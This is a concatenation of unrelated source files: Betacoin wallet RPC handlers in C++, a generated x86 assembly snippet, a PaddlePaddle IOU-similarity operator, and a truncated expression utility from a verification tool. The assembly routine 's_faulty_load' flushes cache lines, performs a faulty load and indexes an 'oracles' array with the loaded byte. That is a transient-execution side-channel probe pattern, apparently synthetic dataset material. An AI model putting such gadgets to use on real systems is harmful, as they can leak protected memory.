}
}
}
}
void AcentryToJSON(const CAccountingEntry& acentry, const string& strAccount, Array& ret)
{
bool fAllAccounts = (strAccount == string("*"));
if (fAllAccounts || acentry.strAccount == strAccount)
{
Object entry;
entry.push_back(Pair("account", acentry.strAccount));
entry.push_back(Pair("category", "move"));
entry.push_back(Pair("time", (boost::int64_t)acentry.nTime));
entry.push_back(Pair("amount", ValueFromAmount(acentry.nCreditDebit)));
entry.push_back(Pair("otheraccount", acentry.strOtherAccount));
entry.push_back(Pair("comment", acentry.strComment));
ret.push_back(entry);
}
}
Value listtransactions(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 3)
throw runtime_error(
"listtransactions [account] [count=10] [from=0]\n"
"Returns up to [count] most recent transactions skipping the first [from] transactions for account [account].");
string strAccount = "*";
if (params.size() > 0)
strAccount = params[0].get_str();
int nCount = 10;
if (params.size() > 1)
nCount = params[1].get_int();
int nFrom = 0;
if (params.size() > 2)
nFrom = params[2].get_int();
if (nCount < 0)
throw JSONRPCError(RPC_INVALID_PARAMETER, "Negative count");
if (nFrom < 0)
throw JSONRPCError(RPC_INVALID_PARAMETER, "Negative from");
Array ret;
std::list<CAccountingEntry> acentries;
CWallet::TxItems txOrdered = pwalletMain->OrderedTxItems(acentries, strAccount);
// iterate backwards until we have nCount items to return:
for (CWallet::TxItems::reverse_iterator it = txOrdered.rbegin(); it != txOrdered.rend(); ++it)
{
CWalletTx *const pwtx = (*it).second.first;
if (pwtx != 0)
ListTransactions(*pwtx, strAccount, 0, true, ret);
CAccountingEntry *const pacentry = (*it).second.second;
if (pacentry != 0)
AcentryToJSON(*pacentry, strAccount, ret);
if ((int)ret.size() >= (nCount+nFrom)) break;
}
// ret is newest to oldest
if (nFrom > (int)ret.size())
nFrom = ret.size();
if ((nFrom + nCount) > (int)ret.size())
nCount = ret.size() - nFrom;
Array::iterator first = ret.begin();
std::advance(first, nFrom);
Array::iterator last = ret.begin();
std::advance(last, nFrom+nCount);
if (last != ret.end()) ret.erase(last, ret.end());
if (first != ret.begin()) ret.erase(ret.begin(), first);
std::reverse(ret.begin(), ret.end()); // Return oldest to newest
return ret;
}
Value listaccounts(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw runtime_error(
"listaccounts [minconf=1]\n"
"Returns Object that has account names as keys, account balances as values.");
int nMinDepth = 1;
if (params.size() > 0)
nMinDepth = params[0].get_int();
map<string, int64> mapAccountBalances;
BOOST_FOREACH(const PAIRTYPE(CTxDestination, string)& entry, pwalletMain->mapAddressBook) {
if (IsMine(*pwalletMain, entry.first)) // This address belongs to me
mapAccountBalances[entry.second] = 0;
}
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
int64 nFee;
string strSentAccount;
list<pair<CTxDestination, int64> > listReceived;
list<pair<CTxDestination, int64> > listSent;
wtx.GetAmounts(listReceived, listSent, nFee, strSentAccount);
mapAccountBalances[strSentAccount] -= nFee;
BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64)& s, listSent)
mapAccountBalances[strSentAccount] -= s.second;
if (wtx.GetDepthInMainChain() >= nMinDepth)
{
BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64)& r, listReceived)
if (pwalletMain->mapAddressBook.count(r.first))
mapAccountBalances[pwalletMain->mapAddressBook[r.first]] += r.second;
else
mapAccountBalances[""] += r.second;
}
}
list<CAccountingEntry> acentries;
CWalletDB(pwalletMain->strWalletFile).ListAccountCreditDebit("*", acentries);
BOOST_FOREACH(const CAccountingEntry& entry, acentries)
mapAccountBalances[entry.strAccount] += entry.nCreditDebit;
Object ret;
BOOST_FOREACH(const PAIRTYPE(string, int64)& accountBalance, mapAccountBalances) {
ret.push_back(Pair(accountBalance.first, ValueFromAmount(accountBalance.second)));
}
return ret;
}
Value listsinceblock(const Array& params, bool fHelp)
{
if (fHelp)
throw runtime_error(
"listsinceblock [blockhash] [target-confirmations]\n"
"Get all transactions in blocks since block [blockhash], or all transactions if omitted");
CBlockIndex *pindex = NULL;
int target_confirms = 1;
if (params.size() > 0)
{
uint256 blockId = 0;
blockId.SetHex(params[0].get_str());
pindex = CBlockLocator(blockId).GetBlockIndex();
}
if (params.size() > 1)
{
target_confirms = params[1].get_int();
if (target_confirms < 1)
throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter");
}
int depth = pindex ? (1 + nBestHeight - pindex->nHeight) : -1;
Array transactions;
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); it++)
{
CWalletTx tx = (*it).second;
if (depth == -1 || tx.GetDepthInMainChain() < depth)
ListTransactions(tx, "*", 0, true, transactions);
}
uint256 lastblock;
if (target_confirms == 1)
{
lastblock = hashBestChain;
}
else
{
int target_height = pindexBest->nHeight + 1 - target_confirms;
CBlockIndex *block;
for (block = pindexBest;
block && block->nHeight > target_height;
block = block->pprev) { }
lastblock = block ? block->GetBlockHash() : 0;
}
Object ret;
ret.push_back(Pair("transactions", transactions));
ret.push_back(Pair("lastblock", lastblock.GetHex()));
return ret;
}
Value gettransaction(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"gettransaction <txid>\n"
"Get detailed information about in-wallet transaction <txid>");
uint256 hash;
hash.SetHex(params[0].get_str());
Object entry;
if (!pwalletMain->mapWallet.count(hash))
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid or non-wallet transaction id");
const CWalletTx& wtx = pwalletMain->mapWallet[hash];
int64 nCredit = wtx.GetCredit();
int64 nDebit = wtx.GetDebit();
int64 nNet = nCredit - nDebit;
int64 nFee = (wtx.IsFromMe() ? GetValueOut(wtx) - nDebit : 0);
entry.push_back(Pair("amount", ValueFromAmount(nNet - nFee)));
if (wtx.IsFromMe())
entry.push_back(Pair("fee", ValueFromAmount(nFee)));
WalletTxToJSON(wtx, entry);
Array details;
ListTransactions(wtx, "*", 0, false, details);
entry.push_back(Pair("details", details));
return entry;
}
Value backupwallet(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"backupwallet <destination>\n"
"Safely copies wallet.dat to destination, which can be a directory or a path with filename.");
string strDest = params[0].get_str();
if (!BackupWallet(*pwalletMain, strDest))
throw JSONRPCError(RPC_WALLET_ERROR, "Error: Wallet backup failed!");
return Value::null;
}
Value keypoolrefill(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 0)
throw runtime_error(
"keypoolrefill\n"
"Fills the keypool."
+ HelpRequiringPassphrase());
EnsureWalletIsUnlocked();
pwalletMain->TopUpKeyPool();
if (pwalletMain->GetKeyPoolSize() < GetArg("-keypool", 100))
throw JSONRPCError(RPC_WALLET_ERROR, "Error refreshing keypool.");
return Value::null;
}
static void LockWallet(CWallet* pWallet)
{
LOCK(cs_nWalletUnlockTime);
nWalletUnlockTime = 0;
pWallet->Lock();
}
Value walletpassphrase(const Array& params, bool fHelp)
{
if (pwalletMain->IsCrypted() && (fHelp || params.size() != 2))
throw runtime_error(
"walletpassphrase <passphrase> <timeout>\n"
"Stores the wallet decryption key in memory for <timeout> seconds.");
if (fHelp)
return true;
if (!pwalletMain->IsCrypted())
throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an unencrypted wallet, but walletpassphrase was called.");
// Note that the walletpassphrase is stored in params[0] which is not mlock()ed
SecureString strWalletPass;
strWalletPass.reserve(100);
// TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string)
// Alternately, find a way to make params[0] mlock()'d to begin with.
strWalletPass = params[0].get_str().c_str();
if (strWalletPass.length() > 0)
{
if (!pwalletMain->Unlock(strWalletPass))
throw JSONRPCError(RPC_WALLET_PASSPHRASE_INCORRECT, "Error: The wallet passphrase entered was incorrect.");
}
else
throw runtime_error(
"walletpassphrase <passphrase> <timeout>\n"
"Stores the wallet decryption key in memory for <timeout> seconds.");
pwalletMain->TopUpKeyPool();
int64 nSleepTime = params[1].get_int64();
LOCK(cs_nWalletUnlockTime);
nWalletUnlockTime = GetTime() + nSleepTime;
RPCRunLater("lockwallet", boost::bind(LockWallet, pwalletMain), nSleepTime);
return Value::null;
}
Value walletpassphrasechange(const Array& params, bool fHelp)
{
if (pwalletMain->IsCrypted() && (fHelp || params.size() != 2))
throw runtime_error(
"walletpassphrasechange <oldpassphrase> <newpassphrase>\n"
"Changes the wallet passphrase from <oldpassphrase> to <newpassphrase>.");
if (fHelp)
return true;
if (!pwalletMain->IsCrypted())
throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an unencrypted wallet, but walletpassphrasechange was called.");
// TODO: get rid of these .c_str() calls by implementing SecureString::operator=(std::string)
// Alternately, find a way to make params[0] mlock()'d to begin with.
SecureString strOldWalletPass;
strOldWalletPass.reserve(100);
strOldWalletPass = params[0].get_str().c_str();
SecureString strNewWalletPass;
strNewWalletPass.reserve(100);
strNewWalletPass = params[1].get_str().c_str();
if (strOldWalletPass.length() < 1 || strNewWalletPass.length() < 1)
throw runtime_error(
"walletpassphrasechange <oldpassphrase> <newpassphrase>\n"
"Changes the wallet passphrase from <oldpassphrase> to <newpassphrase>.");
if (!pwalletMain->ChangeWalletPassphrase(strOldWalletPass, strNewWalletPass))
throw JSONRPCError(RPC_WALLET_PASSPHRASE_INCORRECT, "Error: The wallet passphrase entered was incorrect.");
return Value::null;
}
Value walletlock(const Array& params, bool fHelp)
{
if (pwalletMain->IsCrypted() && (fHelp || params.size() != 0))
throw runtime_error(
"walletlock\n"
"Removes the wallet encryption key from memory, locking the wallet.\n"
"After calling this method, you will need to call walletpassphrase again\n"
"before being able to call any methods which require the wallet to be unlocked.");
if (fHelp)
return true;
if (!pwalletMain->IsCrypted())
throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an unencrypted wallet, but walletlock was called.");
{
LOCK(cs_nWalletUnlockTime);
pwalletMain->Lock();
nWalletUnlockTime = 0;
}
return Value::null;
}
Value encryptwallet(const Array& params, bool fHelp)
{
if (!pwalletMain->IsCrypted() && (fHelp || params.size() != 1))
throw runtime_error(
"encryptwallet <passphrase>\n"
"Encrypts the wallet with <passphrase>.");
if (fHelp)
return true;
if (pwalletMain->IsCrypted())
throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an encrypted wallet, but encryptwallet was called.");
// TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string)
// Alternately, find a way to make params[0] mlock()'d to begin with.
SecureString strWalletPass;
strWalletPass.reserve(100);
strWalletPass = params[0].get_str().c_str();
if (strWalletPass.length() < 1)
throw runtime_error(
"encryptwallet <passphrase>\n"
"Encrypts the wallet with <passphrase>.");
if (!pwalletMain->EncryptWallet(strWalletPass))
throw JSONRPCError(RPC_WALLET_ENCRYPTION_FAILED, "Error: Failed to encrypt the wallet.");
// BDB seems to have a bad habit of writing old data into
// slack space in .dat files; that is bad if the old data is
// unencrypted private keys. So:
StartShutdown();
return "wallet encrypted; Betacoin server stopping, restart to run with encrypted wallet. The keypool has been flushed, you need to make a new backup.";
}
class DescribeAddressVisitor : public boost::static_visitor<Object>
{
public:
Object operator()(const CNoDestination &dest) const { return Object(); }
Object operator()(const CKeyID &keyID) const {
Object obj;
CPubKey vchPubKey;
pwalletMain->GetPubKey(keyID, vchPubKey);
obj.push_back(Pair("isscript", false));
obj.push_back(Pair("pubkey", HexStr(vchPubKey)));
obj.push_back(Pair("iscompressed", vchPubKey.IsCompressed()));
return obj;
}
Object operator()(const CScriptID &scriptID) const {
Object obj;
obj.push_back(Pair("isscript", true));
CScript subscript;
pwalletMain->GetCScript(scriptID, subscript);
std::vector<CTxDestination> addresses;
txnouttype whichType;
int nRequired;
ExtractDestinations(subscript, whichType, addresses, nRequired);
obj.push_back(Pair("script", GetTxnOutputType(whichType)));
Array a;
BOOST_FOREACH(const CTxDestination& addr, addresses)
a.push_back(CBitcoinAddress(addr).ToString());
obj.push_back(Pair("addresses", a));
if (whichType == TX_MULTISIG)
obj.push_back(Pair("sigsrequired", nRequired));
return obj;
}
};
Value validateaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"validateaddress <betacoinaddress>\n"
"Return information about <betacoinaddress>.");
CBitcoinAddress address(params[0].get_str());
bool isValid = address.IsValid();
Object ret;
ret.push_back(Pair("isvalid", isValid));
if (isValid)
{
CTxDestination dest = address.Get();
string currentAddress = address.ToString();
ret.push_back(Pair("address", currentAddress));
bool fMine = IsMine(*pwalletMain, dest);
ret.push_back(Pair("ismine", fMine));
if (fMine) {
Object detail = boost::apply_visitor(DescribeAddressVisitor(), dest);
ret.insert(ret.end(), detail.begin(), detail.end());
}
if (pwalletMain->mapAddressBook.count(dest))
ret.push_back(Pair("account", pwalletMain->mapAddressBook[dest]));
}
return ret;
}
Value lockunspent(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 1 || params.size() > 2)
throw runtime_error(
"lockunspent unlock? [array-of-Objects]\n"
"Updates list of temporarily unspendable outputs.");
if (params.size() == 1)
RPCTypeCheck(params, list_of(bool_type));
else
RPCTypeCheck(params, list_of(bool_type)(array_type));
bool fUnlock = params[0].get_bool();
if (params.size() == 1) {
if (fUnlock)
pwalletMain->UnlockAllCoins();
return true;
}
Array outputs = params[1].get_array();
BOOST_FOREACH(Value& output, outputs)
{
if (output.type() != obj_type)
throw JSONRPCError(-8, "Invalid parameter, expected object");
const Object& o = output.get_obj();
RPCTypeCheck(o, map_list_of("txid", str_type)("vout", int_type));
string txid = find_value(o, "txid").get_str();
if (!IsHex(txid))
throw JSONRPCError(-8, "Invalid parameter, expected hex txid");
int nOutput = find_value(o, "vout").get_int();
if (nOutput < 0)
throw JSONRPCError(-8, "Invalid parameter, vout must be positive");
COutPoint outpt(uint256(txid), nOutput);
if (fUnlock)
pwalletMain->UnlockCoin(outpt);
else
pwalletMain->LockCoin(outpt);
}
return true;
}
Value listlockunspent(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 0)
throw runtime_error(
"listlockunspent\n"
"Returns list of temporarily unspendable outputs.");
vector<COutPoint> vOutpts;
pwalletMain->ListLockedCoins(vOutpts);
Array ret;
BOOST_FOREACH(COutPoint &outpt, vOutpts) {
Object o;
o.push_back(Pair("txid", outpt.hash.GetHex()));
o.push_back(Pair("vout", (int)outpt.n));
ret.push_back(o);
}
return ret;
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r9
push %rbx
push %rcx
push %rdx
lea addresses_D_ht+0xa014, %rbx
nop
nop
dec %rdx
movb (%rbx), %cl
nop
nop
nop
nop
xor $47067, %r9
lea addresses_UC_ht+0x11ff4, %r13
sub %r15, %r15
mov (%r13), %dx
nop
lfence
lea addresses_WC_ht+0x1c8f4, %r9
clflush (%r9)
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x6162636465666768, %r15
movq %r15, %xmm2
vmovups %ymm2, (%r9)
nop
nop
nop
nop
nop
sub %rdx, %rdx
lea addresses_WT_ht+0xefd0, %rcx
nop
nop
add %r13, %r13
movb (%rcx), %bl
xor %r15, %r15
lea addresses_UC_ht+0x143e8, %r13
nop
nop
and $28259, %r10
mov (%r13), %rbx
nop
nop
nop
nop
nop
sub $29974, %r10
lea addresses_normal_ht+0xed0, %r9
nop
nop
sub %r13, %r13
mov (%r9), %rbx
nop
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_WC_ht+0x27e8, %rcx
nop
nop
nop
add $16889, %r15
mov (%rcx), %rdx
nop
nop
nop
nop
nop
dec %rbx
lea addresses_WT_ht+0x18f40, %rdx
nop
sub $58905, %rcx
mov (%rdx), %r15d
nop
nop
inc %r15
pop %rdx
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rsi
// Store
lea addresses_RW+0x1e5f4, %rsi
clflush (%rsi)
nop
nop
nop
nop
dec %r9
movb $0x51, (%rsi)
xor $44998, %r9
// Faulty Load
lea addresses_US+0x41f4, %r15
clflush (%r15)
nop
nop
nop
nop
xor $15445, %r13
movaps (%r15), %xmm7
vpextrq $1, %xmm7, %rdi
lea oracles, %r15
and $0xff, %rdi
shlq $12, %rdi
mov (%r15,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_RW'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 16, 'NT': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License. */
#include "paddle/fluid/operators/iou_similarity_op.h"
namespace paddle {
namespace operators {
class IOUSimilarityOp : public framework::OperatorWithKernel {
public:
using framework::OperatorWithKernel::OperatorWithKernel;
protected:
void InferShape(framework::InferShapeContext *ctx) const override {
PADDLE_ENFORCE(ctx->HasInput("X"),
"Input(X) of IOUSimilarityOp should not be null.");
PADDLE_ENFORCE(ctx->HasInput("Y"),
"Input(Y) of IOUSimilarityOp should not be null.");
auto x_dims = ctx->GetInputDim("X");
auto y_dims = ctx->GetInputDim("Y");
PADDLE_ENFORCE_EQ(x_dims.size(), 2UL, "The rank of Input(X) must be 2.");
PADDLE_ENFORCE_EQ(x_dims[1], 4UL, "The shape of X is [N, 4]");
PADDLE_ENFORCE_EQ(y_dims.size(), 2UL, "The rank of Input(Y) must be 2.");
PADDLE_ENFORCE_EQ(y_dims[1], 4UL, "The shape of Y is [M, 4]");
ctx->ShareLoD("X", /*->*/ "Out");
ctx->SetOutputDim("Out", framework::make_ddim({x_dims[0], y_dims[0]}));
}
};
class IOUSimilarityOpMaker : public framework::OpProtoAndCheckerMaker {
public:
IOUSimilarityOpMaker(OpProto *proto, OpAttrChecker *op_checker)
: OpProtoAndCheckerMaker(proto, op_checker) {
AddInput("X",
"(LoDTensor, default LoDTensor<float>) "
"Box list X is a 2-D LoDTensor with shape [N, 4] holds N boxes, "
"each box is represented as [xmin, ymin, xmax, ymax], "
"the shape of X is [N, 4]. [xmin, ymin] is the left top "
"coordinate of the box if the input is image feature map, they "
"are close to the origin of the coordinate system. "
"[xmax, ymax] is the right bottom coordinate of the box. "
"This tensor can contain LoD information to represent a batch "
"of inputs. One instance of this batch can contain different "
"numbers of entities.");
AddInput("Y",
"(Tensor, default Tensor<float>) "
"Box list Y holds M boxes, each box is represented as "
"[xmin, ymin, xmax, ymax], the shape of X is [N, 4]. "
"[xmin, ymin] is the left top coordinate of the box if the "
"input is image feature map, and [xmax, ymax] is the right "
"bottom coordinate of the box.");
AddOutput("Out",
"(LoDTensor, the lod is same as input X) The output of "
"iou_similarity op, a tensor with shape [N, M] "
"representing pairwise iou scores.");
AddComment(R"DOC(
IOU Similarity Operator.
Computes intersection-over-union (IOU) between two box lists.
Box list 'X' should be a LoDTensor and 'Y' is a common Tensor,
boxes in 'Y' are shared by all instance of the batched inputs of X.
Given two boxes A and B, the calculation of IOU is as follows:
$$
IOU(A, B) =
\frac{area(A\cap B)}{area(A)+area(B)-area(A\cap B)}
$$
)DOC");
}
};
} // namespace operators
} // namespace paddle
namespace ops = paddle::operators;
REGISTER_OP_WITHOUT_GRADIENT(iou_similarity, ops::IOUSimilarityOp,
ops::IOUSimilarityOpMaker);
REGISTER_OP_CPU_KERNEL(
iou_similarity,
ops::IOUSimilarityKernel<paddle::platform::CPUDeviceContext, float>,
ops::IOUSimilarityKernel<paddle::platform::CPUDeviceContext, double>);
|
/*******************************************************************\
Module: Expression Representation
Author: Daniel Kroening, kroening@kroening.com
\*******************************************************************/
#include <cassert>
#include <cstdlib>
#include <util/expr.h>
#include <util/fixedbv.h>
#include <util/ieee_float.h>
#include <util/mp_arith.h>
void exprt::move_to_operands(exprt &expr)
{
operandst &op = operands();
op.push_back(static_cast<const exprt &>(get_nil_irep()));
op.back().swap(expr);
}
void exprt::move_to_operands(exprt &e1, exprt &e2)
{
operandst &op = operands();
#ifndef USE_LIST
op.reserve(op.size() + 2);
#endif
op.push_back(static_cast<const exprt &>(get_nil_irep()));
op.back().swap(e1);
op.push_back(static_cast<const exprt &>(get_nil_irep()));
op.back().swap(e2);
}
void exprt::move_to_operands(exprt &e1, exprt &e2, exprt &e3)
{
operandst &op = operands();
#ifndef USE_LIST
op.reserve(op.size() + 3);
#endif
op.push_back(static_cast<const exprt &>(get_nil_irep()));
op.back().swap(e1);
op.push_back(static_cast<const exprt &>(get_nil_irep()));
op.back().swap(e2);
op.push_back(static_cast<const exprt &>(get_nil_irep()));
op.back().swap(e3);
}
void exprt::copy_to_operands(const exprt &expr)
{
operands().push_back(expr);
}
void exprt::copy_to_operands(const exprt &e1, const exprt &e2)
{
operandst &op = operands();
#ifndef USE_LIST
op.reserve(op.size() + 2);
#endif
op.push_back(e1);
op.push_back(e2);
}
void exprt::copy_to_operands(const exprt &e1, const exprt &e2, const exprt &e3)
{
operandst &op = operands();
#ifndef USE_LIST
op.reserve(op.size() + 3);
#endif
op.push_back(e1);
op.push_back(e2);
op.push_back(e3);
}
void exprt::make_typecast(const typet &_type)
{
exprt new_expr(exprt::typecast);
new_expr.move_to_operands(*this);
new_expr.set(i_type, _type);
swap(new_expr);
}
void exprt::make_not()
{
if(is_true())
{
make_false();
return;
}
if(is_false())
{
make_true();
return;
}
exprt new_expr;
if(id() == i_not && operands().size() == 1)
{
new_expr.swap(operands().front());
}
else
{
new_expr = exprt(i_not, type());
new_expr.move_to_operands(*this);
}
swap(new_expr);
}
bool exprt::is_constant() const
{
return id() == constant;
}
bool exprt::is_true() const
{
return is_constant() && type().is_bool() && get(a_value) != "false";
}
bool exprt::is_false() const
{
return is_constant() && type().is_bool() && get(a_value) == "false";
}
void exprt::make_bool(bool value)
{
*this = exprt(constant, typet("bool"));
set(a_value, value ? i_true : i_false);
}
void exprt::make_true()
{
*this = exprt(constant, typet("bool"));
set(a_value, i_true);
}
void exprt::make_false()
{
*this = exprt(constant, typet("bool"));
set(a_value, i_false);
}
bool operator<(const exprt &X, const exprt &Y)
{
return (irept &)X < (irept &)Y;
}
void exprt::negate()
{
const irep_idt &type_id = type().id();
if(type_id == "bool")
make_not();
else
make_nil();
}
bool exprt::is_boolean() const
{
return type().is_bool();
}
bool exprt::is_zero() const
{
if(is_constant())
{
const std::string &value = get_string(a_value);
const irep_idt &type_id = type().id_string();
if(type_id == "unsignedbv" || type_id == "signedbv")
{
BigInt int_value = binary2integer(value, false);
if(int_value == 0)
return true;
}
else if(type_id == "fixedbv")
{
if(fixedbvt(to_constant_expr(*this)) == 0)
return true;
}
else if(type_id == "floatbv")
{
if(ieee_floatt(to_constant_expr(*this)) == 0)
return true;
}
else if(type_id == "pointer")
{
if(value == "NULL")
return true;
}
}
return false;
}
bool exprt::is_one() const
{
if(is_constant())
{
const std::string &value = get_string(a_value);
const irep_idt &type_id = type().id_string();
if(type_id == "unsignedbv" || type_id == "signedbv")
{
BigInt int_value = binary2integer(value, false);
if(int_value == 1)
return true;
}
else if(type_id == "fixedbv")
{
if(fixedbvt(to_constant_expr(*this)) == 1)
return true;
}
else if(type_id == "floatbv")
{
if(ieee_floatt(to_constant_expr(*this)) == 1)
return true;
}
}
return false;
}
bool exprt::sum(const exprt &expr)
{
if(!is_constant() || !expr.is_constant())
return true;
if(type() != expr.type())
return true;
const irep_idt &type_id = type().id();
if(type_id == "unsignedbv" || type_id == "signedbv")
{
set(
a_value,
integer2binary(
binary2integer(get_string(a_value), false) +
binary2integer(expr.get_string(a_value), false),
atoi(type().width().c_str())));
return false;
}
if(type_id == "fixedbv")
{
fixedbvt f(to_constant_expr(*this));
f += fixedbvt(to_constant_expr(expr));
*this = f.to_expr();
return false;
}
else if(type_id == "floatbv")
{
ieee_floatt f(to_constant_expr(*this));
